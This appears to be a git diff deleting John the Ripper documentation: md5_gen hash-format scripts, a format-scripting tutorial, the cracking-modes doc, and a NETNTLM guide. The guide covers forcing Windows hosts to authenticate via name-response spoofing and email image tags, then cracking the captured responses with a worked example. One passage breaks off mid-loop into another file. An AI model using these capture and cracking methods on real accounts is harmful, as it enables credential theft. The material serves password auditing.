-Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__append_from_last_output2_to_input1_as_base16 -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1090)e49995dd9328ba663e8839734aaef068$zRwIEOWX:hallo - - -[List.Generic:md5_gen(1061)] -Expression=md5_gen(1061): md5($s.'-'.md5($p)) -Flag=MGF_SALTED -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__append_input1_from_CONST1 -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1061)7fc1aa71056429e9f773b2cde1106aee$salt1:test1 -Test=md5_gen(1061)abdb2b7fbc78abaf475d3a5bb48b48bc$2tlas:testword2 -CONST1=- - -# md5(sha1($p)) -[List.Generic:md5_gen(1062)] -Expression=md5_gen(1062): md5(sha1($p)) -Flag=MGF_StartInX86Mode -Flag=MGF_KEYS_INPUT_BE_SAFE -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__SHA1_crypt_input1_append_input2_base16 -Func=MD5GenBaseFunc__X86toSSE_switch_input2 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -Test=md5_gen(1062)a7168f0f249e3add33da11a59e228a57:test1 -Test=md5_gen(1062)067dda3ad565339fffa61ba74fab0ba3:thatsworking -Test=md5_gen(1062)71a1083be5c288da7e57b8c2bd7cbc96:test3 - -# sha1(md5($p)) -[List.Generic:md5_gen(1063)] -Expression=md5_gen(1063): sha1(md5($p)) -Flag=MGF_KEYS_INPUT -Flag=MGF_SHA1_40_BYTE_FINISH -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__SSEtoX86_switch_output1 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__SHA1_crypt_input2_to_output1_FINAL -Test=md5_gen(1063)81d84525eb1499d518cf3cb3efcbe1d11c4ccf25:test1 -Test=md5_gen(1063)6cd62e1767b65eec58d687de6d9c08a828018254:thatsworking -Test=md5_gen(1063)7d653cf00d747a9fbab213b6c2b335cfe8199ff3:test3 - - -# sha1($p) -[List.Generic:md5_gen(1064)] -Expression=md5_gen(1064): sha1($p) -Flag=MGF_SHA1_40_BYTE_FINISH -Flag=MGF_RAW_SHA1_INPUT -Func=MD5GenBaseFunc__SHA1_crypt_input1_to_output1_FINAL -Test=md5_gen(1064)b444ac06613fc8d63795be9ad0beaf55011936ac:test1 -Test=md5_gen(1064)1068db2941b46d12f790df99d72fe8c2eb6d3aaf:thatsworking -Test=md5_gen(1064)3ebfa301dc59196f18593c45e519287a23297589:test3 - -[List.Generic:md5_gen(1165)] -Expression=md5_gen(1165): md5(sha1(md5(sha1($p)))) -Flag=MGF_StartInX86Mode -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__SHA1_crypt_input1_append_input2_base16 -Func=MD5GenBaseFunc__X86toSSE_switch_input2 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -Func=MD5GenBaseFunc__SSEtoX86_switch_output1 -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__SHA1_crypt_input1_append_input2_base16 -Func=MD5GenBaseFunc__X86toSSE_switch_input2 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -Test=md5_gen(1165)62f2dd3da9a39eea4314b846aaa02a3d:test1 -Test=md5_gen(1165)288f19a5a0967ef40d8e9ebfef79b0ea:thatsworking -Test=md5_gen(1165)72a4064912ccaea4b982b3e9fc710cd7:test3 - -[List.Generic:md5_gen(1066)] -Expression=md5_gen(1066): sha1($p.$s) -Flag=MGF_NOTSSE2Safe -Flag=MGF_SALTED -Flag=MGF_SHA1_40_BYTE_FINISH -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__SHA1_crypt_input1_to_output1_FINAL -Test=md5_gen(1066)5a12479f0a8286a832288e1dc2ea9b2eda4e382d$sG:test1 -Test=md5_gen(1066)c72b6f1caddb158831cab0b08d29243ea20fc869$xxRW:thatsworking -Test=md5_gen(1066)b966eff1aac95e92818a7c59326cce297b935eff$s3xx:test3 - -[List.Generic:md5_gen(1067)] -Expression=md5_gen(1067): sha1($s.$p) -Flag=MGF_NOTSSE2Safe -Flag=MGF_SALTED -Flag=MGF_SHA1_40_BYTE_FINISH -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__SHA1_crypt_input1_to_output1_FINAL -Test=md5_gen(1067)f5266f29ff7f1ea6fc30085c8347fcf6a6e36e9c$sG:test1 -Test=md5_gen(1067)a34af873d9047541b4d76ceae7b391f0664ca99e$xxRW:thatsworking -Test=md5_gen(1067)f0058038be0e821caa3031b463aed00fbe7e3beb$s3xx:test3 - -[List.Generic:md5_gen(1068)] -Expression=md5_gen(1068): sha1(sha1($p)) -Flag=MGF_NOTSSE2Safe -Flag=MGF_SHA1_40_BYTE_FINISH -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__SHA1_crypt_input1_append_input2_base16 -Func=MD5GenBaseFunc__SHA1_crypt_input2_to_output1_FINAL -Test=md5_gen(1068)2a367cbb171d78d293f40fd7d1defb31e3fb1728:test1 -Test=md5_gen(1068)d3e0a4d2f3ec196a79ab2890c65144c20ff24ed8:thatsworking -Test=md5_gen(1068)b13773cfee62f832cacb618b257feec972f30b13:test3 - -[List.Generic:md5_gen(1069)] -Expression=md5_gen(1069): sha1(sha1($p)) -Flag=MGF_NOTSSE2Safe -Flag=MGF_SHA1_40_BYTE_FINISH -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__SHA1_crypt_input1_append_input2_base16 -Func=MD5GenBaseFunc__SHA1_crypt_input2_overwrite_input2_base16 -Func=MD5GenBaseFunc__SHA1_crypt_input2_to_output1_FINAL -Test=md5_gen(1069)00aeb6dc5e6269a6b2f39728cd8a6812a644dae6:test1 -Test=md5_gen(1069)d60112917380bb0641f5d1a4ce8fb77e958452f7:thatsworking -Test=md5_gen(1069)54e45916fb79f7be1c695828fdba44915b50751e:test3 - -[List.Generic:md5_gen(1065)] -Expression=md5_gen(1065): md5(sha1(md5(sha1($p)))) -Flag=MGF_StartInX86Mode -Flag=MGF_KEYS_INPUT_BE_SAFE -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__SHA1_crypt_input1_append_input2_base16 -Func=MD5GenBaseFunc__X86toSSE_switch_input2 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -Func=MD5GenBaseFunc__SSEtoX86_switch_output1 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__SHA1_crypt_input2_overwrite_input2_base16 -Func=MD5GenBaseFunc__X86toSSE_switch_input2 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -Test=md5_gen(1065)62f2dd3da9a39eea4314b846aaa02a3d:test1 -Test=md5_gen(1065)288f19a5a0967ef40d8e9ebfef79b0ea:thatsworking -Test=md5_gen(1065)72a4064912ccaea4b982b3e9fc710cd7:test3 - -[List.Generic:md5_gen(1070)] -Expression=md5_gen(1070): sha1(upr($u).':'.$p) -Flag=MGF_NOTSSE2Safe -Flag=MGF_SHA1_40_BYTE_FINISH -Flag=MGF_USERNAME_UPCASE -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_userid -Func=MD5GenBaseFunc__append_input1_from_CONST1 -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__SHA1_crypt_input1_to_output1_FINAL -Test=md5_gen(1070)20fa5cf803e363ba9f13e12ca61586e2efabc737$$UROOT:test1 -Test=md5_gen(1070)2e839b0c32af0e2099584ea22f20d2f2c477d908$$UJAS0N:thatsworking -Test=md5_gen(1070)55496ed9edcabdd2368e7cd22eaae633c6d6c40e$$UJOEBLOW:test3 -CONST1=: - - -#################################################################### -#################################################################### -# END of GENERIC-MD5 examples -#################################################################### -#################################################################### diff --git a/data/john/doc/MD5_GENERIC_SCRIPTING b/data/john/doc/MD5_GENERIC_SCRIPTING deleted file mode 100755 index 5af3954a1d..0000000000 --- a/data/john/doc/MD5_GENERIC_SCRIPTING +++ /dev/null @@ -1,480 +0,0 @@ -For most hashes where MD5 is used, building a proper md5 format is likely -not the best bet overall. A format is not trivial. It requires maintainance -and will likely requires specific enhancements to get it to perform -optimally on all hardware. Likely there will need to be 'generic' C -code done, then it will need code to tie it into CPU specific optimizations, -such as SSE, MMX, intrisic SSE, GPU, ... ... ... This will also mean that -to stay up to date, the format will require ongoing work and mainainance. - -However, there is one format which may reduce a lot of this maintainance -work to very little. Now, that format itself will need to be kept up to -date, but any formats that are built upon its internal workings. That -format is md5-gen. In this 'format', there is a scripting language, where -a format developer only need to describe the actual operations properly, -and the format is 'done', and working. - -This document will go over how to 'build' a format that uses this md5-gen -format, how to optimize it to work faster, and how to build a 'thin' -quasi format which insulates the end user from the md5-gen format line -building. - -**** Introduction **** - -To start off with, a little background on 'how' and 'where' to build the -scripts that run md5-gen, what interanal data structures are available to -be used. - -The 'where' which a format developer can easily build into john, is to add a -new md5-gen format 'script', into john.ini file (john.conf). This -file usually is located in the current directory where john is run out -of (but the --config=file can override the default behavior). Within the -john.conf, a new 'section' can be added for a md5 genercic format. The -new 'section' will be set by using this section naming: - -[List.Generic:md5_gen(NUM)] - -You replace the NUM with the sub-format number (from 1001 to 9999). -Pick a number that is not used. - -Within this 'section', there will be multiple lines added. These lines -are primarily of the form: Type=Value - -The actual contents of these scripts will be addressed later. That will -be the 'How', and preforming this is actually outside of the intro section. - -The 'Data' and runtime information is this: - -Inside of the md5-gen format, there are 2 input buffers (actually ALL data -is arrays of 128 of each buffer type). There is input1 and input2 buffers. -The main operations on these buffers is to clear them, and to append data, -to build string which will later be md5 hashed. - -There are also 2 output buffers. These buffers will receive the md5 hashing -from the 2 input buffers. NOTE, when the format processing is complete, the -results MUST be placed into output1 buffer. This is where all of the comparison -functions will check against. - -In the format, there is a salt (if the format is salted). There may also be -a second salt value. - -There are also 'keys' value(s). These are the passwords being tested at this -given time. - -There are also 8 'constant' strings which can be used within a format. A -format such as md5-po has a couple of constants within it. - -There are also numerous optimization 'flags' which do special things when -loading keys or salts, and there are numourous special 'optimization' primative -functions within the format, for speedup of certain operations. - -**** Simple format building **** - -We will start out with a few simple formats, and simply 'show' how to build -a straight forward script. The scripts may or may not be optimal. Later -we will optimize these somewhat. When building the formats here, there will -be comments interspersed, listing just what is being done, and why. - -we will build these formats: -md5_gen(1030) md5($p.$p) -md5_gen(1031) md5($s.md5($p).$p) -md5_gen(1032) md5(md5($s).md5($p).$p) - -[List.Generic:md5_gen(1030)] -Expression=md5_gen(1030): md5($p.$p) -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1030)42b72f913c3201fc62660d512f5ac746:test1 - -Here is the exact same format, with some comments added, describing the -sub-sections, and exactly what is being done. - -#first line is the section name. It MUST be of the format shown. -[List.Generic:md5_gen(1030)] -# -#the next line, is a required line. It serves 2 purposes. It is output -#in john, when the format 'starts'. Also, the md5_gen(#) part is used -#to destinguish this exact format (so the command line of --sub=md5_gen(1030) -#would specify this and only this format) -# -Expression=md5_gen(1030): md5($p.$p) -# -#This is the set of functions. This is the ONLY section of the format -#where order IS important. The functions ARE handled one after the -#other, from top to bottom, to perform the string operations, and md5 -#operations which are needed to perform the hash of this format -#The functions ARE a required part of the format. -# -#first step, clean the input. All work for this format is done using -#only input 1 and output 1 buffers. -Func=MD5GenBaseFunc__clean_input -# -#Step 2, append the keys. Note, the buffer is clean, so this is simply -#the same as Input=keys (but required 2 steps, the clean and append keys). -Func=MD5GenBaseFunc__append_keys -# -#Step 3, append keys again (the format is ($p.$p) or keys appended to keys. -Func=MD5GenBaseFunc__append_keys -# -#Step 4, final step performs md5 of $p.$p This will properly leave the -#results in output1 -Func=MD5GenBaseFunc__crypt -# -#This is test string. These ARE required. You can provide more than -#one. 5 or 6 are best, to make sure the format is valid. -# -Test=md5_gen(1030)42b72f913c3201fc62660d512f5ac746:test1 - -Ok, here is the second format. The format being done is md5($s.md5($p).$p) -Here are a few comments about this format: -1. There is a Flag= value. This is because this is a Salted format. This - REQUIRES the MGF_SALTED flag. -2. We only use input 1 and output 1. -3. There are a couple of calls to crypt (md5). The first simply gets - md5($p) and puts it into output1, which will later be appeneded in - base-16 format as we build our string. -4. After the first crypt (md5), we clear our input buffer, then put - the salt in, append the base-16 of md5($p), and then append $p -5. Finally, and call to crypt is done, which leaves the results in - output1, so the rest of the md5-gen format can properly compare it. - -[List.Generic:md5_gen(1031)] -Expression=md5_gen(1031): md5($s.md5($p).$p) -Flag=MGF_SALTED -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1031)a459f60614498dbdd9a79dcc9c538749$aabbccdd:test1 - - -Now, here is the final format: md5(md5($s).md5($p).$p) - -[List.Generic:md5_gen(1032)] -Expression=md5_gen(1032): md5(md5($s).md5($p).$p) -Flag=MGF_SALTED -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_from_last_output2_to_input1_as_base16 -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1032)042d1f15ed57929a2ac8ee4f0a924679$aabbccdd:test1 - -Ok, now that these have been built, here are a few 'benchmarks' listing -that they are WORKING, and what speed they are working: - -Here is MinGW build 'x86' - -john_x86 -test -for=md5-gen -sub=md5_gen(1030) -Benchmarking: md5_gen(1030) md5_gen(1030): md5($p.$p) [128x1 (MD5_Go)]... DONE -Raw: 3530K c/s - -john_x86 -test -for=md5-gen -sub=md5_gen(1031) -Benchmarking: md5_gen(1031) md5_gen(1031): md5($s.md5($p).$p) [128x1 (MD5_Go)]... DONE -Many salts: 1945K c/s -Only one salt: 1890K c/s - -john_x86 -test -for=md5-gen -sub=md5_gen(1032) -Benchmarking: md5_gen(1032) md5_gen(1032): md5(md5($s).md5($p).$p) [128x1 (MD5_Go)]... DONE -Many salts: 1016K c/s -Only one salt: 1031K c/s - - -Here is MinGW build of SSE2 - -john_sse2 -test -for=md5-gen -sub=md5_gen(1030) -Benchmarking: md5_gen(1030) md5_gen(1030): md5($p.$p) SSE2 [SSE2 32x4 (.S)]... DONE -Raw: 7250K c/s - -john_sse2 -test -for=md5-gen -sub=md5_gen(1031) -Benchmarking: md5_gen(1031) md5_gen(1031): md5($s.md5($p).$p) SSE2 [SSE2 32x4 (.S)]... DONE -Many salts: 5065K c/s -Only one salt: 4436K c/s - -john_sse2 -test -for=md5-gen -sub=md5_gen(1032) -Benchmarking: md5_gen(1032) md5_gen(1032): md5(md5($s).md5($p).$p) SSE2 [SSE2 32x4 (.S)]... FAILED (get_hash[0](0)) - - -Here is some timings to check against: - -john_x86 -test -for=md5-gen -sub=md5_gen(0) -Benchmarking: md5_gen(0): md5($p) (raw-md5) [128x1 (MD5_Go)]... DONE -Raw: 4005K c/s - -john_sse2 -test -for=md5-gen -sub=md5_gen(0) -Benchmarking: md5_gen(0): md5($p) (raw-md5) SSE2 [SSE2 32x4 (.S)]... DONE -Raw: 10740K c/s - - -**** Optimizations of prior formats **** - -For format 1030, the speed should be very close to that of md5_gen(0). -In both formats, there is only 1 call to md5(). However, we are seeing that the -(1030) is slower than (0). The explanation of this, is that the (0) format has -an optimization used, which we can not use in the (1030). The (1030) is likely -about as optimal as it can be made in the current md5-gen format. The optimization -for format (0) is: Flag=MGF_KEYS_INPUT What that does, is to place the keys -directly into the input field, and then later, when john gets the keys back (it -does this if a hash is cracked), john gets them from the input. In the (1030) -format, we load the keys, into the 'keys' arrays. We then have to call a function -to clean input buffer 1, and to append the keys (twice). Thus, what we have is -additional memory movement, and that slows things down. However, to use the -MGF_KEYS_INPUT optimization, we would have had to keep the input1 buffer prestine -and ONLY put in the keys (passwords). Since we had to append the keys twice, -we simply 'blew' that requirement, and thus, could NOT use it. At a later -time, we will show a format WHERE we can use this optimization. - -For format 1031, there also appears to be no optimizations available. - -For 1032, there are optimizations. In this format, we notice that we have -this sub expression: md5($s). Well, there is an optimization, which when it -loads the input file, it converts all salts into md5($s) and uses that value -instead. So, at startup time, we perform md5 hashes of all salts, but at -runtime, we simply place the salt into the building string, instead of performing -a MD5 on the salt. So, in the 1032, we had 3 calls to crypt. By using this -optimization, we can reduce that to 2 crypts. The starting format is: -md5(md5($s).md5($p).$p) This optimization makes the format 'behave' at -runtime, like it is md5($s.md5($p).$p), which was format 1031. Note, after -we make this optimzation, the timings will be almost identical to the 1031 -timings. Also note, the Test string for 1032 and 1042 are exactly the -same. These are the same formats. It is just that 1042 performs fewer -crypt calls per test. Also note, in the 'original' run of SSE2, the 1032 -format failed. This failure, is due to the SSE2 / MMX code only working -for strings up to 54 bytes (optimization reason). The length of this string: -md5($s).md5($p) is 64 bytes by itself, and we also append $p to that. Thus, -our string is OVER 54 bytes in length, and thus, can not be used in SSE2 -mode. We do have a couple work arounds for this, to get it working properly -on SSE2 builds. We can use a flag which simply stops SSE2 dead in its tracks -(and preforms all work using x86 code). This is flag MGF_NOTSSE2Safe - -[List.Generic:md5_gen(1042)] -Expression=md5_gen(1042): md5(md5($s).md5($p).$p) -Flag=MGF_SALTED -Flag=MGF_SALT_AS_HEX -Flag=MGF_NOTSSE2Safe -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1042)042d1f15ed57929a2ac8ee4f0a924679$aabbccdd:test1 - -Once the above changes have been done, here are the speeds: - -john_x86 -test=5 -for=md5-gen -sub=md5_gen(1031) -Benchmarking: md5_gen(1031) md5_gen(1031): md5($s.md5($p).$p) [128x1 (MD5_Go)]... DONE -Many salts: 2007K c/s -Only one salt: 1913K c/s - -john_x86 -test=5 -for=md5-gen -sub=md5_gen(1032) -Benchmarking: md5_gen(1032) md5_gen(1032): md5(md5($s).md5($p).$p) [128x1 (MD5_Go)]... DONE -Many salts: 1052K c/s -Only one salt: 1030K c/s - -john_x86 -test=5 -for=md5-gen -sub=md5_gen(1042) -Benchmarking: md5_gen(1042) md5_gen(1042): md5(md5($s).md5($p).$p) [128x1 (MD5_Go)]... DONE -Many salts: 1420K c/s -Only one salt: 1372K c/s - -john_sse2 -test=5 -for=md5-gen -sub=md5_gen(1042) -Benchmarking: md5_gen(1042) md5_gen(1042): md5(md5($s).md5($p).$p) SSE2 [128x1 (MD5_Go)]... DONE -Many salts: 1416K c/s -Only one salt: 1372K c/s - - -We can also perform even more optimizations in the format. What we do in this format, is we -md5 the salt (when we first load the file). Thus the salts which john works with, are really -md5($s) (same as we did in format 1042). Then we use a different flag, which puts the -md5($p) into offset 32 of input1 (where we want it). Then we simply overwrite the data in -input 1 with the salt (which is md5($s) in base-16 format), then force set length to 64, then -append the keys, then crypt. - -[List.Generic:md5_gen(1052)] -Expression=md5_gen(1052): md5(md5($s).md5($p).$p) -Flag=MGF_SALTED -Flag=MGF_SALT_AS_HEX -Flag=MGF_KEYS_BASE16_IN1_Offset32 -Flag=MGF_NOTSSE2Safe -Func=MD5GenBaseFunc__overwrite_salt_to_input1_no_size_fix -Func=MD5GenBaseFunc__set_input_len_64 -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1052)042d1f15ed57929a2ac8ee4f0a924679$aabbccdd:test1 - -Here are the benchmarks for the above format: - -john_x86 -test=5 -for=md5-gen -sub=md5_gen(1052) -Benchmarking: md5_gen(1052) md5_gen(1052): md5(md5($s).md5($p).$p) [128x1 (MD5_Go)]... DONE -Many salts: 2251K c/s -Only one salt: 1369K c/s - -john_sse2 -test=5 -for=md5-gen -sub=md5_gen(1052) -Benchmarking: md5_gen(1052) md5_gen(1052): md5(md5($s).md5($p).$p) SSE2 [128x1 (MD5_Go)]... DONE -Many salts: 2251K c/s -Only one salt: 1369K c/s - - -Now, note the speed for 'many salts'. It is very close to the speed of (1031), actually faster. -This speed is the speed john will have for a normal password cracking, where you have dozens (or -hundreds, or 1000's) of password hashes to crack. - -To understand WHY this format is this much faster (the 'Many salts', is the normal way to -benchmark the speed of a salted hash), is to understand what is happening under the hood within -john's 'crypt all' loop. - - while (!feof(password_file)) { - for (i = 0 to max_num_passwords) - SetKey(i, getnextpassword(password_file)); - if (salted) - { - while (z TARGET - -See RULES for information on writing your own wordlist rules. - - - "Single crack" mode. - -This is the mode you should start cracking with. It will use the -login names, "GECOS" / "Full Name" fields, and users' home directory -names as candidate passwords, also with a large set of mangling rules -applied. Since the information is only used against passwords for the -accounts it was taken from (and against password hashes which happened -to be assigned the same salt), "single crack" mode is much faster than -wordlist mode. This permits for the use of a much larger set of word -mangling rules with "single crack", and their use is always enabled -with this mode. Successfully guessed passwords are also tried against -all loaded password hashes just in case more users have the same -password. - -Note that running this mode on many password files simultaneously may -sometimes get more passwords cracked than it would if you ran it on -the individual password files separately. - - - "Incremental" mode. - -This is the most powerful cracking mode, it can try all possible -character combinations as passwords. However, it is assumed that -cracking with this mode will never terminate because of the number of -combinations being too large (actually, it will terminate if you set a -low password length limit or make it use a small charset), and you'll -have to interrupt it earlier. - -That's one reason why this mode deals with trigraph frequencies, -separately for each character position and for each password length, -to crack as many passwords as possible within a limited time. - -To use the mode you need a specific definition for the mode's -parameters, including password length limits and the charset to use. -These parameters are defined in the configuration file sections called -[Incremental:MODE], where MODE is any name that you assign to the mode -(it's the name that you will need to specify on John's command line). -You can either use a pre-defined incremental mode definition (one of -"All", "Alnum", "Alpha", "Digits", or "LanMan" for LM hashes) or define -a custom one. - -See CONFIG and EXAMPLES for information on defining custom modes. - - - External mode. - -You can define an external cracking mode for use with John. This is -done with the configuration file sections called [List.External:MODE], -where MODE is any name that you assign to the mode. The section -should contain program code of some functions that John will use to -generate the candidate passwords it tries. The functions are coded in -a subset of C and are compiled by John at startup when you request the -particular external mode on John's command line. See EXTERNAL. - - - What modes should I use? - -See EXAMPLES for a reasonable order of cracking modes to use. - -$Owl: Owl/packages/john/john/doc/MODES,v 1.5 2006/01/02 06:48:40 solar Exp $ diff --git a/data/john/doc/NETNTLM_README b/data/john/doc/NETNTLM_README deleted file mode 100755 index efb2eb2eae..0000000000 --- a/data/john/doc/NETNTLM_README +++ /dev/null @@ -1,143 +0,0 @@ -LM/NTLM Challenge / Response Authentication -JoMo-Kun (jmk at foofus dot net) ~ 2010 - -Microsoft Windows-based systems employ a challenge-response authentication -protocol as one of the mechanisms used to validate requests for remote file -access. The configured/negotiated authentication type, or level, determines how -the system will perform authentication attempts on behalf of users for either -incoming or outbound requests. These requests may be due to a user initiating a -logon session with a remote host or, in some cases, transparently by an -application they are running. In many cases, these exchanges can be replayed, -manipulated or captured for offline password cracking. The following text -discusses the available tools within the John the Ripper "Jumbo" patch for -performing offline password auditing of these specific captured challenge- -response pairs. - -Why might these exchanges be of interest? A primary point of most penetration -tests is to find avenues through which the assessor can gain unauthorized access -to some resource. This often relies on the compromise of a system's local -accounts or the exploitation of some service-level vulnerability. The ability to -capture on-the-wire authentication exchanges and to crack the associated -password adds another option to the mix. The fact that these exchanges can be -cracked aids in demonstrating to clients why one authentication algorithm may be -preferred to another. - -A given server is likely to use one of the following protocols for -authentication challenge-response: LMv1, NTLMv1, LMv2 or NTLMv2. It should be -noted that these protocols may use the LM and NTLM password hashes stored on a -system, but they are not the same thing. For an excellent in-depth discussion of -the protocols see the Davenport paper entitled "The NTLM Authentication Protocol -and Security Support Provider" [1]. For the purposes of this discussion, the key -item of note is that the LMv1 and NTLMv1 protocols consist of a only a single -server challenge. This allows an attacker to force a client into authenticating -using a specific challenge and then attack that response using precomputed -Rainbow Tables. - -There are a variety of methods for capturing challenge-response pairs, including -the use of tools such as MetaSploit and Ettercap. The author's preferred method -is to use a modified version of Samba[2]. The provided patch sets the server's -challenge to a fixed value (i.e. 0x1122334455667788) and logs all authentication -attempts in a format suitable for use with John. The patch also includes a -modification to the nmbd application. Nmbd is used to respond to broadcast -requests for NetBIOS name/IP information. The modified service simply responds -to all requests with its own IP address, often resulting in hosts unknowingly -authenticating to the wrong system. Another common method of forcing systems to -authenticate to the Samba server is through the use of HTML image source tags. -For example, simply inserting the tag "" -into a HTML message will cause some email client applications to automatically -perform an authentication attempt. Other examples include the use of specialized -desktop.ini files and many other mischievous tricks. - -It is also worth noting that these challenge/response protocols are not limited -to the Microsoft File and Print Services. For example, Cisco's LEAP wireless -security mechanism, EAP-PEAP and PPTP all utilize a MS-CHAP handshake, or -modified variant. The NTLMv1 challenge/response set can be extracted from this -exchange and subjected to a brute-force guessing attack. Further discussion on -this subject is outside of the scope of this write-up, but would certainly -reveal numerous additional uses. - -The LMv1 challenge-response mechanism suffers a number of technical limitations. -As previously noted, only a server challenge is used. This means that if the -challenge is set to a constant value, a given password will always result in -the same client authentication response. This allows for the precomputation of -password / LMv1 responses and their subsequent retrieval using tools such as -RainbowCrack. - -To further exacerbate the issue, the LM hash used during the generation of the -LMv1 response converts a password into (at most) two 7 character upper-case -passwords. The LM hash is then split into three pieces prior to calculating the -LMv1 response. This process greatly reduces the size of the Rainbow Tables which -need to be calculated in order to break a given password. For example, the -so-called "halflmchall" tables widely available on the Internet utilize only the -first third of the LMv1 response to break the first 7 characters of the -respective password. The netnlm.pl script discussed in this document can be used -to attempt to break the remaining characters of the password and its original -case-sensitive version. The following is an example of cracking a captured -LMv1/NTLMv1 challenge/response set. - -Example LMv1/NTLMv1 Challenge/Response (.lc Format): -user::WORKGROUP:5237496CFCBD3C0CB0B1D6E0D579FE9977C173BC9AA997EF:A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE:112233445566778 - -LMv1 Response: 5237496CFCBD3C0CB0B1D6E0D579FE9977C173BC9AA997EF -NTLMv1 Response: A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE -Server Challenge: 112233445566778 - -RainbowCrack look-up of password's first 7 characters (upper-cased) using first -third (8 bytes) of LMv1 response: -% rcrack halflmchall/*.rt -f 5237496CFCBD3C0C -Result: CRICKET - -First netntlm.pl Pass (Crack Remaining Characters): -% netntlm.pl --file capture.lc --seed CRICKET -Result: CRICKET88! - -Second netntlm.pl Pass (Determine Case Sensitive Password)[a]: -% netntlm.pl --file capture.lc -Result: Cricket88! - -[a] Note that the case-sensitive password will be shown about a third through -the script's output following the text: "Performing NTLM case-sensitive crack -for account". - -The following is an example of cracking a captured NTLMv1 challenge/response. If -the LMv1 and NTLMv1 response hashes within a given client response are -identical, it typically means one of two things: either the client machine is -configured to send only a NTLMv1 response (e.g. LAN Manager Authentication Level -Group Policy Object set to "Send NTLM response only"), or the user's password is -greater than 14 characters. If the password is indeed over 14 characters in -length, it is unlikely a suitable Rainbow Table set is available 